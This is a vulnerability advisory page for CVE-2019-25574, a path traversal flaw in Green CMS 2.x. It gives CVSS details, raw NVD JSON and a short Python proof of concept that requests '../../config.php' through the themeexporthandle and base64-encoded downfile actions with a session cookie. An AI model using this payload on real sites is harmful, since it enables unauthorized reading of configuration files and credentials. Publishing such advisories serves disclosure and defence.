Security Vulnerability Report
中文
CVE-2019-25574 CVSS 6.5 MEDIUM

CVE-2019-25574

Published: 2026-03-21 16:16:01
Last Modified: 2026-03-24 16:37:42

Description

Green CMS 2.x contains a path traversal vulnerability that allows authenticated attackers to download arbitrary files and directories by injecting directory traversal sequences. Attackers can manipulate the theme_name parameter in the themeexporthandle action or supply base64-encoded file paths to the downfile action to retrieve sensitive files outside intended directories.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:njtech:greencms:*:*:*:*:*:*:*:* - VULNERABLE
Green CMS 2.x

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import base64 target_url = "http://target/index.php" # Example 1: Using theme_name parameter (Path Traversal) # payload = {"m": "Admin", "a": "themeexporthandle", "theme_name": "../../config.php"} # Example 2: Using downfile parameter with Base64 encoding # The target file path is ../../config.php file_path = "../../config.php" encoded_path = base64.b64encode(file_path.encode()).decode() # Result: Li4vLi4vY29uZmlnLnBocA== payload = { "m": "Admin", "a": "downfile", "file": encoded_path } # Note: Authentication is required (Cookie/Session) cookies = {"PHPSESSID": "authenticated_session_id"} # response = requests.get(target_url, params=payload, cookies=cookies) # print(response.text)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2019-25574", "sourceIdentifier": "[email protected]", "published": "2026-03-21T16:16:00.960", "lastModified": "2026-03-24T16:37:42.487", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Green CMS 2.x contains a path traversal vulnerability that allows authenticated attackers to download arbitrary files and directories by injecting directory traversal sequences. Attackers can manipulate the theme_name parameter in the themeexporthandle action or supply base64-encoded file paths to the downfile action to retrieve sensitive files outside intended directories."}, {"lang": "es", "value": "Green CMS 2.x contiene una vulnerabilidad de salto de ruta que permite a atacantes autenticados descargar archivos y directorios arbitrarios inyectando secuencias de salto de directorio. Los atacantes pueden manipular el parámetro theme_name en la acción themeexporthandle o proporcionar rutas de archivo codificadas en base64 a la acción downfile para recuperar archivos sensibles fuera de los directorios previstos."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:njtech:greencms:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.1.0612", "versionEndIncluding": "2.3.0603", "matchCriteriaId": "A9F05D4C-EAD2-4BE9-8C3B-6AC77BA24DE2"}]}]}], "references": [{"url": "http://www.greencms.net/", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://codeload.github.com/GreenCMS/GreenCMS/zip/beta", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/46245", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/green-cms-2-x-path-traversal-arbitrary-file-download", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}